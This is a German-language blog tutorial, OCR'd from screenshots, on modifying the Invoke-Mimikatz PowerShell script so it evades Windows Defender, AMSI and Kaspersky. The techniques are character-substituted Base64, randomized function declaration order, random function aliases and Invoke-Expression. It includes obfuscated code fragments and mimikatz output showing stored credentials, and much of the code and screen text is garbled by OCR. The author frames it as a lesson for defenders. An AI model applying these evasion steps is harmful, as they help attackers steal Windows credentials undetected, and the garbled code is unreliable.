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Einleitung

Wer kennt nicht das kleine Tool mimikatz vom Programmierer Benjamin DELPY (gentilkiwi)? Mit diesem Werkzeug konnen
Passwortinformationen aus Windows Betriebssystemen extrahiert werden. ein must have fiir Hacker und Pentester!

Den Sourcecode stellt der Programmierer frei im Internet zur Verfliigung. So ist es nicht sehr (iberraschend, dass die exe-
Datei ebenso wie die dll-Datei von nahezu jedem Antivirus-Programm sofort eliminiert werden (sollte das bei euch nicht
der Fall sein dann ist euer System nicht mit dem Basisschutz unterwegs!).

Die Herausforderung fiir mich war nun, den Code auf modernen Betriebssystemen dennoch zum Laufen zu bringen. Dazu
gab es einige Hirden zu nehmen. Und die Evolution meiner Code-Modifikation mochte ich hier einmal vorstellen.

Ein wichtiger Hinweis: es geht mir in diesem WSHowTo ausdriicklich nicht um das Nachbauen meiner Losung. Vielmehr
liegt mein Fokus beim Aufzeigen verschiedener Strategien zum Umgehen von SchutzmaBnahmen. Im Endeffekt wird
einmal mehr deutlich werden: es gibt keinen effektiven Schutz von solchen Angriffsszenarien!

Wir brauchen als Administratoren immer einen Plan B nach der Devise ,Asume the Breach — ein Angreifer kann erfolgreich
sein”. Was machst ihr dann?

Das Zielsystem: Windows 10 v1903

Inspiriert von meinem letzten Security-Workshop (an der Stelle auch noch mal ein dickes Dankeschén an meine
Teilnehmer!) habe ich mir eine kleine Aufgabe gestellt: der mimikatz-Code soll auf dem derzeit aktuellen Windows 10
Version 1903 mit aktivem und aktuellen Windows Defender laufen.

Die Testbenutzerin hat keine administrativen Rechte. Alle Standardschutzkomponenten sind unverandert aktiv (Es ist also
durchaus fiir die BlueTeamer noch Luft nach oben!).
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Windows Security

&« Protection history

®& Virus & threat protection settings

No action needed.

Manage settings

<5 Virus & threat protection updates

Security intelligence is up to date.
Last update: 23/07/2019 07:23

Check for updates

Ransomware protection

No action needed.

Manage ransomware protection

Windows Community videos

Learn more about Virus & threat
protection

Die Mutation eines Schadcodes

Die Anwendung mimikatz.exe

Dieser Fall ist recht klar: wenn ein Angreifer die Anwendung mimikatz.exe oder ihre dll-Datei auf ein Zielsystem kopiert,

dann schlagt Antivirus zu:

Windows Security

O Protection history

View the latest protection actions and recommendations from Windows
Security.

All recent items Filters ™/

Q Threat found - action needed.
24.07.2019 07:45

Status: Active
Active threats have not been remediated and are running on your device.

Threat detected: HackTool:Win32/Mimikatz.Aldha

Alert level: High

Date: 24.07.2019 07:45

Category: Tool

Details: This program can be used for malicious purposes if unauthorized.

Learn more

Affected items:

file: C:\Users test\Desktop!

Actions Vv

2019

B
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Windows Security

O Protection history

View the latest protection actions and recommendations from Windows
Security.

All recent items Filters ™

Q Threat found - action needed.
24.07.2019 07:45

Q Threat found - action needed.

24.07.2019 07:45

Status: Active
Active threats have not been remediated and are running on your device.

Threat detected: HackTool:Win32/Mimikatz.D

Alert level: High

Date: 24.07.2019 07:45

Category: Tool

Details: This program can be used for malicious purposes if unauthorized.

Learn more

Affected items:

file: C:\Users\tessa.test\Desktop\powerkatz.dIl

. 0
L] 49 D
® a0 B

Es muss also eine andere Lésung her. Ganz ehrlich: das ware auch zu einfach gewesen... @

Das (PowerShell-) Original (leseoptimiert)

Wie praktisch, dass es die PowerShell im Zielsystem als festen Bestandteil gibt. Mit dieser hat ein Angreifer Zugriff auf die
groBe .net-Welt. Und das haben findige Programmierer genutzt und einen tollen Code erstellt. Dieser kann mit der
PowerShell eine dll-Datei in den Arbeitsspeicher laden und ausfiihren. Nur wird leider auch die dll-Datei als Schadcode

erkannt.

Die Powershell kann aber auch Date als BASE64-Code verarbeiten. Somit konnte die dll-Datei direkt in das PowerShell-
Script integriert werden. Und genau das haben die Entwickler getan: eine komplette Losung in einer Textdatei. Meine

Version ist nur optisch etwas korrigiert (und damit lesbarer):

01-fast-Originalps! X

Function Invoke-CreateRemoteThread {...}
Function Get-MemoryProcAddress {...}
Function Test-MemoryRangevalid {... }
Function Copy-Sections {...}

Function Get-win32Constants {,.. }
Function Add-SignedIntAsUnsigned {...}
Function Get-virtualProtectvalue {...}
Function Convert-UIntTeInt { . .}
Function Import-D1lInRemoteProcess {...}
Function Sub-SignedintAsunsigned {...}
Function Get-win32Types {...}

Function Update-ExeFunctions {...}
Function Get-PEDetailedInfo {...}
Function Update-MemoryAddresses {, .}
Function Invoke-MKcommand {...}

Function shutdown-mk {...}

Ln1 Col1

SPEBytes6d — 'TVQQAAMAAAAEAAAA/ /BAAL GAAAAAAAAAQ AAAAAAA, A A A AAATAE AAA4 FUg4ATANNT bgB TMOhVGhpCyBwemIncmF tTGNhbm5vdCB | Z5Bydw4gawdgRETIGLVZGUY

15%

Das fertige Script kann man im Internet herunterladen. Antivirus-Hersteller tun das natirlich auch, und somit werden diese

Textdateien als Schadcode erkannt und eliminiert. Hier seht ihr meinen Kaspersky AV bei der Arbeit:
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@ Kaspersky Anti-Virus

01-fast-Original.ps1 Die Sicherheit ist bedroht!
1 Problem

| Q Untersuchung Datenbanken-Update

Berichte Bildschirmtastatur
-

Weitere Funktionen

Das Script wird zuverldssig bewertet:

@ Kaspersky Anti-Virus

g ¢ Mitteilungszentrale

01-fast-Original.ps1
Schutz

Gefunden: HEUR:Trojan.PowerShell.Generic

I ) Beheben
Objekt: C:\Users\stephan\Desktop\01-fast-Original.ps1

@ Datenbanken und Programm-Module sind aktuell.

@ Alle Schutzkomponenten sind aktiviert.

Interessant ist aber, dass offensichtlich nicht alle Hersteller diese Dateien in ihre Erkennung integrieren. Der (aktuelle)
Windows Defender lasst die Datei einfach auf meinem Desktop liegen:

Windows Security

Scan options

Run a quick, full, custom, or Windows Defender Offline scan.

No current threats.

Last scan: 24.07.2019 07:04 (custom scan)
0 threats found.

Scan lasted 1 seconds

1 files scanned.

Allowed threats

Protection history

@ Quick scan

Checks folders in your system where threats are commonly found.

o Full scan

Checks all files and running programs on your hard disk. This scan
could take longer than one hour.

O Custom scan

Choose which files and locations you want to check.

07:04

) DEU
®a 24.07.2019

[55]

Aber seit Windows 10 gibt es ja AMSI — das Anti Malware Scan Interface! Dieses dient als Schnittstelle zwischen einem AV

(Antivirus) und diversen Komponenten im Betriebssystem. Dazu gehort auch die PowerShell. Der Code wird also zur
Laufzeit gescannt und erfolgreich blockiert:
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E¥ Windows PowerShell
PS C:\Users\tessa.test\Desktop> .\@1-fast-Original.psl

PS C:\Users\tessa.test\Desktop> _

3 1803
[ )
R a0 500

So ist der Schutz wieder gewéhrleistet. Oder? @ Naja, das waren die 6ffentlich auffindbaren Varianten. Auf geht’s zu
meiner Modifikation!

Die Obfuskierung

Verdnderung des gespeicherten Textes

Ich stellte mir folgende Fragen: Woran erkennt ein AV den Text als Schadcode? Sind es einzelne Schlagworte? Ist es ein
Hash tiber den Inhalt? Vielleicht ist es eine Mischung aus allem?

Daher hatte ich 2 Ziele:
1. Der Code soll als Textdatei nicht erkannt werden
2. Der Code soll zur Laufzeit in der PowerShell nicht erkannt werden

Die Methode wird obfuscation (Verschleierung) genannt. Aber egal wie man es dreht: Zur Laufzeit muss der Code
interpretierbar und somit lesbar sein! Daher versuchte ich es mit einer BASE64-Umwandlung. Doch moderne AV-Losungen
konnen das einfach wieder umkehren und den Code erkennen — dhnlich wie sie zip-Dateien 6ffnen und den Inhalt
analysieren. Ein einfaches BASE64 genligte nicht! Aber was ware, wenn ich im BASE64-Text bestimmte Zeichen durch
andere ersetze und diesen Vorgang zur Laufzeit umkehre? Dann kann ein Scanner nur noch Textfragmente erkennen —und
schlagt vielleicht nicht mehr an!

So kénnte eine Obfuskierung aussehen. Die 3. Ausgabezeile ist flir einen AV nicht mehr lesbar:
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1 cls

2

3 # Klartext

= $cleartext "Das ist mein Text"

5 Write-Host "Klartext: $cleartext”

6

7 # Konvertierung in BASEG4

8 $cleartext $cleartext "r'n"

9 Sbytes System.Text.Encoding]: :Unicode.GetBytes($cleartext)
10 $base64 Cohvert]::ToBase64String(Sbytes)
11 Write-Host "BASEG4-Text: Shase64”

12

13  # obfuskierung des BASEG64-Textes

14 $obfuscated $baseb4 Al

15 Write-Host "BASE64-mod: Sobfuscated”

16

17  # Konvertierung und Deobfuskierung in Klartext

18 $tmp Sobfuscated #AT

19 Sresult System.Text.Encoding]: :Unicode.GetChars([Convert]: :FromBase64string($tmp)) '
20 Write-Host "Ergebnis: Sresult”

21

Das ist mein Text
RABhAHMAIABpAHMAdAAGAGOAZOBPAGAATABUAGUAEABDAA:

R#Bh#HM#T#Bp#HM#d##g#GO#ZQBp#GA# T#BU#GU#e#BO#

Das ist mein Text

Ubertragt man das nun auf das originale Script, dann wird aus dem Klartext links der verschleierte BASE64-Code rechts.
Eine Zeile ,,obfuscated” entspricht dabei einer ganzen Funktion!

B Administrator: Windows PowerShell ISE - o x
File Edit View Tools Debug Add-ons Help
| H 4 I N > B » | 8.
01-fast-Originalps1 X e
+ Function Get-MemoryProcAddress {...}
» Function Test-MemoryRangevalid {...}
+ Function Copy-Sections {...}
+ Function Get-win32Constants {...}
+ Function Add-SignedIntAsuUnsigned {...}
* Function Get-VirtualProtectvalue {...}
+ Function Convert-UIntToInt {,..}
+ Function Import-Dl1l1InRemoteProcess {...}
* Function Sub-SignedIntAsunsigned {...}
+ Function Get-win32Types {...}
+ Function Update-ExeFunctions {...}
+ Function Get-PEDetailedInfo {...}
+ Function Update-MemoryAddresses {...}
+ Function Invoke-MKcommand {,_,}\
+ Function Shutdown-mMK {...} com—

n1 Col1

-
File Edit View Tools Debug Add-ons Help
H & x 0 r B =» & .
mifullvarpst X ~
eQ)

"ICAQIEZ1bmNOaw9uIENVCHKtQXJyYXT1PZK11bUFKZHI1c3NTcy, 7DQOICV, hcmFtKAOKCQ1bUGFY
"ICAQIEZ1bmNOawSuIEd1dC1EZWX1Z2FO0ZVR5cGUgewOKCSAgGIC,QYXIhbQOKCSAGICAODQOIICAg
"ICAQIEZ1bmNOaw9uIFdyaXR1LUISdGVZVGINZWIVCNkgewOKCQTQYXIhbSgNCgkICVLQYXIhbwvO
"ICAQIEZ1bmNOawOuUIEVUYWISZS1TZURTYnVnUHIpdm]sZwd1IHSNCgkIJUGFyYW00DQoICVEQYXh
"ICAgIEZ1bmNOaw9uIEd1dC1lQecm9jQWRKkemvzey , 70Q0I ICAGIF, hcmFtDQOIICAGICGNCgkgICAg
"ICAQIEZ1bmNOawSuIETudmOrZSINZWlvenIMb2FKTGTicmFyesS, 7DQoICV, hcmFtKAOKCQIbUGFyY
"ICAQIEZ1bmNOaw9uIEd1dC1SZwlvdGvQcm9jQwRkemvzcy , 7DQoICV, hemFtKAOKCQ1bUGFyYW1l
"ICAQIEZ1bmNOaw9uIFVWZGFOZSINZW1ven1Qem90ZWNOawduRmxhzZ3MgewOKCQ1QYXIhbSgNCgkl
"ICAQIEZ1bmNOawOuIE] tcG9ydC1lEbGXIbX, venRZIHSNCgkIUGFYYW00DQOICVTQYXIhbWVOZXIo
"ICAQIEZ1bmNOaw9uIENVbX, hcmUtvmFsMUdyZWFOZXIUaGFuVmFsMKFzVUludC, 7DQoJCV, hemFt
"ICAQIEZ1bmNOaw9uIEd1dC1QRUIhc21jSW5mby, 7DQoICV, hcmFtKAOKCQ1bUGFYYW11dGVYKC,Q
"ICAQIEZ1bmNOaw9uIETudm9rZSINZWlven1Gemv1TGlicmFyesS, 7DQoICV, hcmFtKAOKCQ1bUGFy
"ICAQIEZ1bmNOaw9uIEd1dC1IbWFNZUS0SGVhZGVycw]7DQoICV, hcmFtKAOKCQTbUGFYYW11dGVy
"ICAGIEZ1bmNOaw9uIETudmorzZS1DcmvhdGVSZWlvdGVUaH11YWQgewOKCQ1QYXIhbSgNCgkiwl,h
"ICAQIEZ1bmNOaw9uIEd1dCINZWlven1Qem9jQWRkemvzey , 7DQoICV, hemF tKAOKCQTbUGFYYW11
"ICAGIEZ1bmNOaw9uIFR1c3QtTWVtb3J5UMFUZ2VWYWXPZC, 7DQOICV, hemFtKAOKCQ1bUGFYYW11
"ICAQIEZ1bmNOaw9uIENVCHKtU2VjdG1vbnMgewOKCQ1QYXIhbSgNCgkIWl , hcmFtZXR1cihQb3Np
"ICAQIEZ1bmNOaw9uIEd]1dC1Xaw4zMkNvbnNNOYW50cw]7DQoICSRXaw4zMkNvbnNOYWSOCYA9IES]
ICAGIEZ1bmNOaw9uIEFKkZC1lTawduZwRIbnR,c1lVuc2InbmvVkIHSNCgKIUGFYYW00DQOICVEQYXJh
"ICAgIEZ1bmNOaw9uIEd]1dC1waXI0dwFsUHIvAGVjdFZhbHVTIHSNCgkJUGFyYW00DQOICVEQYXIh
"ICAQIEZ1bmNOaw9uIENVbNZ1cnQtVUTUdFRVSWS0IHSNCKIUGFYYW00DQOICVEQYXIhbWVOZXIo
"ICAQIEZ1bmNOaw9uIE]tcG9ydClEbGxIb131bwo02ZV, yb2N1c3MgewOKCQ1QYXIhbSgNCgkiwl, h
"ICAQIEZ1bmNOawOuUIFN1YilTawduZwRIbnR,clVuc21nbmVKIHSNCgkIUGFyYW00DQOICVtQYXJh
"ICAQIEZ1bmNOaw9uIEd1dC1lXaw4zMIR5cGVZCXSNCgKIIFdpbjMyVHTWZXMGPS ,0ZXCctT21GZWNO
"ICAGIEZ1bmNOaw9uIFVWZGFOZS1FeGVGAWSjdG1vbnMgewoKCQ1QYXIhbSgNCgkIWl ,hecmFtZXR1
"ICAQIEZ1bmNOaw9uIEd1dC1QRURTAGFpbGVKSWSmbw17DQoICV,hcmFtKAOKCQTbUGFYYW11dGVy
"ICAQIEZ1bmNOawOuIFVWZGFOZSINZWlvcnl, ZGRyZXNZZXMIewOKCQ1QYXIhbSgNCgkIwl, hemFt
"ICAQIEZ1bmNOawOuIETudmOrZSINS2NvbWlhbmQgewOKICAgICAQIC, wYXJhbShbc3RyawSnXSAk
"ICAQIEZ1bmNOaw9uIFNodXRKb3duLULLIHSNCakJawYaKCRSZW1vdGVQCm9iSGFUZGx11C11csS.b

Completed Ln42 Col2

Zur Laufzeit werden nun einfach alle unlesbaren Zeilen in lesbares BASE64 und dann in Klartext interpretiert. Der Rest ist

ein einfaches Invoke-Expression! So kann die

Datei gespeichert werden, ohne dass der Kaspersky aktiv wird:

@ Kaspersky Anti-Virus

€

Untersuchung

Vollstandige Untersuchung

Keine laufenden Untersuchungen

Schnelle Untersuchung

Benutzerdefinierte

Untersuchung

Untersuchung externer Gerdte

Zuletzt ausgefiihrte Untersuchungen

() Untersuchung von Datei "02-obfuskiert, zufallig.ps1”
' Sicher: keine Bedrohungen gefunden.

vor weniger als 1 Minute

Vollstandiger Bericht 1 Datei.

Und das gilt natirlich auch fir den Windows Defender (der die Ursprungsdatei ja auch schon ignorierte):
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Das zufdllige Deklarieren

Windows Security

Scan options

Run a quick, full, custom, or Windows Defender Offline scan.

No current threats.

Last scan: 24.07.2019 07:05 (custom scan)
0 threats found.

Scan lasted 1 seconds

5 files scanned.

Allowed threats

Protection history

O Quick scan

Checks folders in your system where threats are commonly found.

O Full scan

Checks all files and running programs on your hard disk. This scan
could take longer than one hour.

(® custom scan

Choose which files and locations you want to check.

07:05

2 :D)
&) DU 70010 N

Dann ist da aber noch das Laufzeitproblem. Wenn das zerstlickelte BASE64 wieder zusammengesetzt wird, dann entsteht
in der PowerShell das originale Script im Arbeitsspeicher. Und hier greift die Schnittstelle AMSI.

Aber was erkennt der AV iber AMSI? Erkennt er den Code vielleicht an der Reihenfolge der Codezeilen?

Finden wir es heraus: ich kann ja die Funktionsanweisungen zur Laufzeit in einer zufalligen Reihenfolge verarbeiten (get-
random). Der PowerShell und auch mimikatz ist es egal, in welcher Folge die Deklaration vorgenommen wird, solange zum
Ende alle Puzzleteile vorhanden sind. Das kénnte dann so aussehen (nebenbei: auch die dll-Datei kann obfuskiert werden):

B Administrator: Windows PowerShell ISE - o X
File Edit View Tools Debug Add-ons Help

U@ d & ODOXN| D™~ >>3B (> 8|,
| 01-fast-Originalpst X

1341

1342 ® Function Convert-UIntToInt {...}

1352

1353 ® Function Import-D11InRemoteProcess {...}
1430

1431 ® Function Sub-SignedIntAsunsigned {...}
1476

1477 ® Function Get-win32Types {...}

1802

1803 ® Function Update-ExeFunctions {...}

2047

2048 ® Function Get-PEDetailedinfo {...}

2106

2107 ® Function Update-MemoryAddresses {,,.}
2209

2210 @ Function Invoke-MKcommand {...}

2319

2320 ® Function Shutdown-MK {...}

2332

2333 SPEBytes64 "TVQQAAMAAAAEAAAA/ /8AALGAAA.
2334

tn1 Col1 135%

2

File Edit View Tools Debug Add-ons Help

U@ d ¢« Ox 9 >aml e asobd oo,

mifullvarpst X &
16  Sobfuscated += "ICAGIEZ1bmNOawOuIEd1dCINZWlvcn1Qcm9jQwWRkemvzcy, 7DQ0ICV,hemFtKAOKCQTbUGFYYW11
17 Sobfuscated += "ICAQIEZ1bmNOaw9uIFR1c3QtTwVtb3J5UmFuz2VWYWxpZC,7DQoICV,hcmFtKAOKCQIbUGFYyYW11
18 Sobfuscated += “"ICAgIEZ1bmNOaw9uIENVCHKtU2VjdG1vbnMgewOKCQIQYXIhbSgNCgKIWL, hecmFtZXR1cihQb3Np
19  Sobfuscated += "ICAgIEZ1bmNOaw9uIEd1dClXaw4zMKNvbnNOYW50cw17DQoICSRXaw4zMKNVbNNOYWS0CYA9IES]
20 Sobfuscated += "ICAQIEZ1bmNOaw9uIEFkZC1lTawduZwRIbnR,clVuc21nbmVKIHSNCGKIUGFYYW0oDQoICVtQYXJh
2 Sobfuscated += "ICAgIEZ1bmNOaw9uIEd1dClwaxXJOdwFsUHIVAGV]dFZhbHV1IHSNCgkIUGFYYW00DQOICVEQYX3h
22 Sobfuscated += "ICAQIEZ1bmNOawduIENVbnZ1cnQtVUTudFRVSWSOIHSNCgKIUGFYYW00ODQOICVtQYXIhbWVOZXIo
23 Sobfuscated "ICAQIEZ1bmNOaw9uIE] tcG9ydC1lEbGxIb131bW902V, yb2N1c3MgewOKCQ1QYXIhbSgNCgkiwl , h
2 Sobfuscated += "ICAgIEZ1bmNOaw9uIFN1YilTawduZwRIbnR,clvuc2InbmVkIHSNCgKIUGFyYW00DQOICVEQYXJh
25 Sobfuscated += "ICAQIEZ1bmNOaw9uIEd1dClXaw4zMIR5cGVZCXSNCgklIFdpbjMyVHIWZXMgPS,0ZXctT2IqZWNO
26 Sobfuscated "ICAQIEZ1bmNOaw9uIFVWZGF0ZS1FeGVGdwSjdG1vbnMgewOKCQ1QYXIhbSgNCgkIwl , hcmFtZXR1
27 Sobfuscated += "ICAQIEZ1bmNOaw9uIEd1dC1QRURTAGFpbGVKSWSmbw17DQoICV,hcmFtKAOKCQTbUGFYYW11dGVy
28 Sobfuscated += "ICAgIEZ1bmNOaw9uIFVWZGFOZSINZWlvcnl,ZGRyZXNzZXMIewOKCQIQYXIhbSgNCgkIwl,hcmFt
2 Sobfuscated += "ICAQIEZ1bmNOawOuIETudm9rZSINS2NvbwlhbmQgewOKICAGICAQIC,wYXJhbShbc3RyawSnXSAk
30 Sobfuscated += "ICAgIEZ1bmNOaw9uIFNodXRkb3duLULlLIHSNCgkJawYgKCRSZW1vdGVQcm9jSGFuzGx1Icllcs,b
31
32 $ToDo = 1..Sobfuscated.count
33 $Done aQ
34
35 [=1..S%obfuscated.count ForEach-object {
36 | $Cur = $ToDo | Where-Object {SDone ontains $_} | Get-Random -Count 1
37 Sbone += Scur
38
39 $Bytes [convert FromBase64string((Sobfuscated[Scur - 1] -reg JEPRIR )
40 Scode = [text.Encoding]::Default.GetChars($Bytes) | T
41 Invoke-Expression -Command $code
42 |}
43
44 SPEBytes64 = 'TVQQAAMAAAAEAAAA//SAALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
45 SPEBytes64 = $PEBytes64 -replace '.'.'B'

Completed Ln42 Col2 135%

Zur Laufzeit wirde das dann (mit ner kleinen Modifikation fur die Anzeige) so aussehen: jeder Lauf ware anders:
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Function Sub-SignedIntAsunsigned { ...
Function Update-MemoryAddresses { ...
Function Get-win32Types { ...

Function Invoke-MemoryFreeLibrary { ...
Function Get-PEDetailedInfo { ... }
Function Invoke-Mkcommand { ... }
Function Get-ProcAddress { ... }

Function Update-ExeFunctions { ... }
Function Get-win32Constants { ... }
Function Invoke- CraatERemuteThread {...1}
Function Get-RemoteProcAddress { ... }
Function Compare-vallGreaterThanvalzAsuInt { ...
Function Copy-ArrayofMemAddresses { ... }
Function Get-ImageNtHeaders { ... }
Function write-BytesToMemory { ... }
Function Import-D11InRemoteProcess { ...
Function Get-virtualProtectvalue { ...
Function Add-SignedIntAsunsigned { ...
Function Test-MemoryRangevalid { 5
Function Invoke-MemoryLoadLibrary { ...
Function Get-MemoryProcAddress { .}
Function Get-DelegateType { . }
Function Update- MemuryPrutect1onF1ags i{.
Function Shutdown-MK { . ]

Function ccnvert—ulntTcInt {...}
Function Get-PEBasicInfo { ...

Function Copy-Sections { ... }

Function Enable-SeDebugPrivilege { ...
Function Import-D11Imports { ... }

Function Get-MemoryProcAddress { ... }
Function Get-RemoteProcAddress { ... }
Function Get-PEDetailedInfo { ... }
Function Convert-uIntToInt { . }
Wmhmcwwmvﬂmmuuﬁmwnumm{
Function Test-MemoryRangevalid { }
Function Import-D11InRemoteProcess {
Function Copy-ArrayOfMemAddresses { 5
Function Invoke-CreateRemoteThread { ...
Function Invoke-MemoryFreeLibrary {
Function Get-Win32Types { ...

Function Add-SignedIntAsuUnsigned {
Function Get-DelegateType { . }
Function Invoke-i MemoryLoadebrary {
Function Invoke-MKcommand { . }
Function Update-ExeFunctions { i
Function Get-VirtualProtectvalue {
Function Update-MemoryAddresses { 5
Function Enable-SeDebugPrivilege { ... }
Function Get-PEBasicInfo { ... }
Function Update-| MemoryProtect1onF]ags {
Function Copy-Sections { . }

Function Get—w1n3zconstant5 ¢ QR
Function Get-ProcAddress { ...

Function Sub-SignedIntAsuUnsigned {
Function write-BytesToMemory { ...
Function Get-ImageNtHeaders { ... }
Function Shutdown-MK { ..

Function Import-D11Imports {

Damit ware ein groRRer Teil der Heuristik in einem AV umgangen.

Und was sagt unser AV dazu? Der Windows Defender ist bereits komplett ausgetrickst:

EX Windows PowerShell
PS C:\Users\tessa.test\Desktop> &

07:13
24.07.2019

& ) Dru &1
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E¥ Windows PowerShell

Attributes : @

TargetName : / <NULL>

C 1tial
Attributes

sa.test\Desktop>

N 07:07
A ) DEU
S @) DU, 572019

ABER: er erkennt, dass hier etwas Bdses passierte und reagiert ganz knapp nach der Anzeige der sensiblen Informationen
und beendet den gesamten PowerShell-Prozess:

@ Virus & threat protection

Threats found

07:08

L+ € ) DEL
X & ) ey 24072019

B

Das Bild mit dem Ergebnis habe ich erst nach einigen Versuchen snippen kénnen. Ein Angreifer konnte die Informationen
aber auch in eine Textdatei umleiten. Z.B. mit dem Transcript:
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E¥ Windows PowerShell

k. log

072
* £ ©) Dpeu |
S &« 24072010

@ Virus & threat protection

Threats found

< @& ) DEU
2

&S
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) mk - Notepad

File Edit Format View Help

PSRemotingProtocolversion: 2.3

Serializationversion: 1.1.0.1

e

Transcript started, output file is mk.log

PS C:\Users\tessa.test\Desktop> & '.\@3-obfuskiert, zufédllig, aliased.ps1’

JHEH, mimikatz 2.1.1 (x64) built on Apr 1 2019 06:57:11
JH# A ##. "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## 0\ / ## > http://blog.gentilkiwi.com/mimikatz
“## v o#E vincent LE TOUX ( vincent.letoux@gmail.com )
e > http://pingcastle.com / http://mysmartlogon.com  ***/

mimikatz(powershell) # vault::cred
TargetName : testserver / <NULL>
UserName  : admin
Comment ¢ <NULL>

: 2 - domain_password

: 3 - enterprise

i 00000000
Credential :
Attributes : o

TargetName : WindowsLive:target=virtualapp/didlogical / <NULL>
UserName : 02hsdmgrhpegesac
Comment : PersistedCredential
: 1 - generic
: 2 - local_machine
i 00000000
Credential :
Attributes :

Ln1,Col 1 100%  Windows (CRLF) UTF-8 with BOM

| 0723
g»)) DEU
& ) P e B

Die Informationen sind sichtbar. Nur kommt immer noch der Alarm! Was genau erkennt der Defender? Wir miissen weiter
graben...

Aliase statt bekannter Namen

Vielleicht sind es die Namen der Funktionen? Selbst wenn die Funktionen zufallig deklariert werden: der Aufruf folgt immer
dem gleichen Muster — und da greift wieder die Heuristik (wenn auch etwas spat!)

Wiirde es also helfen, wenn die Funktionen anders benannt sind? Das war einfach zu simulieren: Eine eigene Funktion
analysiert den Code und findet alle verwendeten Funktionsnamen heraus. Eine zweite Funktion erstellt fur jede einen
zufélligen Alias. Und dann werden einfach alle Normalnamen durch die Aliase ersetzt. So kommt bei jedem Lauf ein neues
Script heraus, da die Aliase zufallig sind:

1 = function generate-MKFunctionAlias {:--}
11
12 ® function change-MKFunctionNames {,..}
50
51 function create-mkscript {...}
161
162 # load function file and rename functions
163 SWorkingdir = 'C:\hacking\Sdev\mkdev’
164 change-MKFuncticnNames -WorkingDir fworkingDir -FunctionFilePath mkclear1803.psl -OutFile mkclearl803alias.psl -showFunctionAliasfor 'Invoke-MKcommand'

Im Vergleich zum originalen Code sieht man die Arbeitsweise sehr einfach:

2 B Administrator: Windows PowerShell ISE D X
File Edit View Tools Debug Add-ons Help File Edit View Tools Debug Add-ons Help
" B 5} - n [—] . B ] - — .

H & o x»x 0 P > B | = | 8 C3ln & B & o x| 0 » 3 @ = B8 i 8.
01-fast-Criginalpsi* X & | | mkceartg03aliaspsi* X 2
1 i o 1135
1136 @ Function Copy-Sections {...} 1136 @ Function MAEPI6 {.. . }

1195 95
1196 = Function Get-win32constants {.. .} Function MNEVTG {...}
231
1232 ® Function Add-SignedIntAsUnsigned {...} Function MVBIL3 {...}
174
1275 ® Function Get-VirtualProtectvalue {. .} Function MDKxve {...}
Function Convert-uIntToInt {...} Function MK7ORL {...}
Function Import-D11InRemoteProcess {...} Function MGD150 {.. .}
) Function Sub-SignedIntAsUnsigned {...} Function mM243zC {, . .}
4 £} Function Get-Wini2Types {.. .} Function M4lxne {...}
3 & Function Update-ExeFunctions {.. .} Function MICOTE {,..}
¥ Function Get-peDetailedinfo {...} Function mwiizs {...}
Function Update-MemoryAddresses {...} Function MECHVX {...}
Function Invoke-MKcommand { Function MMIIUS {
param([string] SExeArgs - 'exit') param([string] SExeArgs - ‘exit')
"silentlycontinue" "silentlycontinue”
Get-win32Functions MBZ7TK
Get-Win32Types MALXNP
Get-Win32Constants MNEVTE
$RemoteProcHandle IntPtr Zero $remoteProcHandle ntPtr Zero
+ if (($Procid $null) (sProctd 0) ($ProcName snull) 7 if ((sprocrd $nu11) (sprocid 0) (iprocName 1)
Ln2331 Col3 15% Ln 2331 Col3 15%
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Jetzt generieren wir mit einer dritten Funktion noch die Datei mit der Obfuskierung (habt ihr gedacht, ich editiere
manuell?? @). Heraus kommt eine unlesbare Datei, die zur Laufzeit in zufalliger Reihenfolge die zufallig benannten
Funktionen deklariert:

function generate-MKFunctionAlias {--+}
function change-MKFunctionNames {...}
function create-Mkscript {...}
# Joad function file and rename functions
SworkingDir ‘C:\hacking\$dev\mkdev"'
change-MKFunctionNames -WorkingDir SworkingDir -FunctionFilePath mkclear1803.psl -OutFile mkclearl803alias.psl -showFunctionAliasfor 'Invoke-MKcommand'

create-MKScript -WorkingDir SworkingDir -mkclear mkclearl803alias.psl -mkDLL powerkatz.dll -mkPackage mkfullvar.psl -obfuChar 'B'

create-MKScript -WorkingDir SworkingDir -mkclear mkclear1803alias.psl -mkDLL powerkatz.d11 -mkPackage mkfullvar.psl -obfuChar 'B’'

16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

32
33

34
35

Sobfuscated "ICAGIEZ1bmNOaWIUIEQ4WT1USS, 7DQ0ICY , hemFTKAOKCQ]bUGFY YW1 dGVYKF , ve210aW9uIDOgMCWOTWFU ZGFOb 315 ID0gIHR Y dWUPXQOKCQ 1 bSWS OUHRYXQOK COKKUEVI w5 kbGUSDQoICQOKCQ]
Sobfuscated "ICAQIEZ1bmNOaWIUIELIIVTQXQS, 7DQoICV, hemFtKAOKCQ1bUGFyYW11dGVYKF , vc210aW9uIDOgMCwgTWFuZGFOb 315 ID0gIHR ydWUpXQOKCQ 1bU 3RyaWs nXQOK COkkRGV dwdTdHIpbmesDQoIcQl
Sobfuscated "ICAQIEZ1bmNOaw9uIEL,RV,KNi,7DQoICV,hcmFTKAOKCQ]bUGFYYWL1dGVYKF , vc210aw9uIDOgMCwgTWFUZGFOb315ID0gIHRYdwUpXQOKCQ1bgn10ZvtdxQOKCQkkUEVCeXR]cywNCgkIDQoICV
Sobfuscated "ICAQIEZ1bmNOaWIuIE IORVZUNG17DQoICSRXaW4zMkNvbnNOYWSOcyA9IES 1dy1PYmp1Y3Qgu31zdGytLk91 amvjdAOKCQkNCgk ]I FdpbiMyQ29uc 3RhbnRZIHWGQWRKLULTbWI TcT AL TWVEYmVYVH]
Sobfuscated "ICAGIEZ1bmNOaWIULE LWOE IMMy , 7DQ0ICY , hemFtKAOKCQbUGFY YW1 dGVYKF , vC210aw9uIDOgMCWgTWFUZGFOb 315 ID0gIHR Y dWUPXQOKCQ 1 bSWS ONFRADQO I CSRIWYWX 1ZTESDQoICQOKCQ 1bUGH
Sobfuscated += "ICAQIEZ1bmNOaw9UIELESIhWNI,7DQeJCV,hcmFtKAOKCQ1bUGFYYWL]1dGVYKF ,ve2]10aw9uIDOgMCwgTWFuZGFOb315ID0gIHR ydWUpXQOKCQ bVl TudDMyXQOKCokku2vjdG1vbkNoYXIhY3RTcm]
